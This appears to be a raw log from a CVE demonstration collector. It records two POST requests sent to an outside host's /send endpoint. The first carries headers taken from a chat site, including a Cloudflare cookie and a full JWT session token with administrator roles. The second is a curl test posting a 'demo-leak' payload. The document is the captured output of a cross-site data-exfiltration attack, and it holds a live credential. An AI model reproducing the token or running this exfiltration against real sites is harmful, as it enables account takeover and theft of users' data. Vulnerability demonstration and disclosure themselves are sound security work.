CVE demo interaction logger — 2 captures ============================================================ [2026-06-14T22:34:37.060965+00:00] post:/send POST /send from 172.16.0.1 Host: cve.synsenetwork.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:150.0) Gecko/20100101 Firefox/150.0 Content-Length: 1788 Accept: */* Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Content-Type: text/plain Origin: https://chat.90.sk Priority: u=4 Referer: https://chat.90.sk/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers X-Forwarded-For: 172.16.0.1 X-Forwarded-Host: cve.synsenetwork.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: a5734b8ea67f X-Real-Ip: 172.16.0.1 body: {"host":"chat.90.sk","hostname":"chat.90.sk","headers":{"host":"hub.bearicorn.app","x-forwarded-proto":"https","if-none-match":"W/\"6e7-K8QJR90blEDN3O1CXIX5GftKJK4\"","priority":"u=4","user-agent":"Mozilla/5.0 (X11; Linux x86_64; rv:150.0) Gecko/20100101 Firefox/150.0","sec-fetch-mode":"cors","x-forwarded-host":"chat.90.sk","referer":"https://chat.90.sk/secure-chat/08e8b456-70ec-4458-87ab-69f3fb60c6a0","sec-fetch-dest":"empty","sec-fetch-site":"same-origin","x-forwarded-for":"87.197.175.154,64.225.102.13,162.158.110.164","accept":"*/*","accept-encoding":"gzip, br","accept-language":"en-US,en;q=0.9","cdn-loop":"cloudflare; loops=1","cookie":"__cf_bm=fZwkShN6VjAtihWvKj6uTdwTWtDIacWlcG5ffxkmOQ4-1781476442.1542974-1.0.1.1-WQBKiESu_8KyFq.X4V5qql78U9kLvSKJENi7XeBUeGcxSy5mvS5IWeyYc6YjwtuDz2GD_3Q5lht6i5nTUCWbf_NJM3BsOS6mtGXnwWqo4gprfO_ojKMt8PHUJG7OQUET; jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3ODE0NzUxMTAsImV4cCI6MTgxMzAxMTExMCwidWlkIjoiNzNhYjNjMmQtNGY1Zi00OTU0LTkzNTQtZDI1N2M0ZWI0ZjNjIiwidGVuYW50SWQiOiJhZTc1NzI2ZC01OTcyLTQ0NTEtYjUwZi03ZjUyYTZjMmZhZWEiLCJ3b3Jrc3BhY2VJZCI6ImFlNzU3MjZkLTU5NzItNDQ1MS1iNTBmLTdmNTJhNmMyZmFlYSIsInJvbGVzIjpbIlVTRVIiLCJBRE1JTiJdLCJ0b2tlbnMiOlsiQVVESVRfUkVQT1JUIiwiQlVDS0VUX19SRUFEIiwiQlVDS0VUX19XUklURSIsIkNIQVRfX1JFQUQiLCJDSEFUX19XUklURSIsIk5PVElGSUNBVElPTl9fUkVBRCIsIk5PVElGSUNBVElPTl9fV1JJVEUiLCJUQVNLX1NUQVRVU19fUkVBRCIsIlRBU0tfU1RBVFVTX19XUklURSIsIlRBU0tfX1JFQUQiLCJUQVNLX19XUklURSIsIlRXT19GQUNUT1JfX1JFQUQiLCJUV09fRkFDVE9SX19XUklURSIsIlVTRVJfSU5WSVRFIiwiVVNFUl9fREVMRVRFIiwiVVNFUl9fRURJVCIsIlVTRVJfX0VESVRfTUUiLCJVU0VSX19HRVQiLCJVU0VSX19MSVNUIiwiVVNFUl9fTUUiLCJVU0VSX19TRUFSQ0giLCJXT1JLU1BBQ0VfU0VUVElOR1NfX0VESVQiLCJXT1JLU1BBQ0VfU0VUVElOR1NfX1JFQUQiXX0.8VCKMaaeudp0a-E4xUl8g-AVW_8nbvY7HcwKubQr_ZQ","do-connecting-ip":"64.225.102.13"}} [2026-06-14T22:32:40.872854+00:00] post:/send POST /send from 192.168.0.10 Host: cve.synsenetwork.com User-Agent: curl/8.14.1 Content-Length: 66 Accept: */* Content-Type: text/plain X-Forwarded-For: 192.168.0.10 X-Forwarded-Host: cve.synsenetwork.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: a5734b8ea67f X-Real-Ip: 192.168.0.10 Accept-Encoding: gzip body: {"leakedFrom":"https://victim.example/profile","data":"demo-leak"}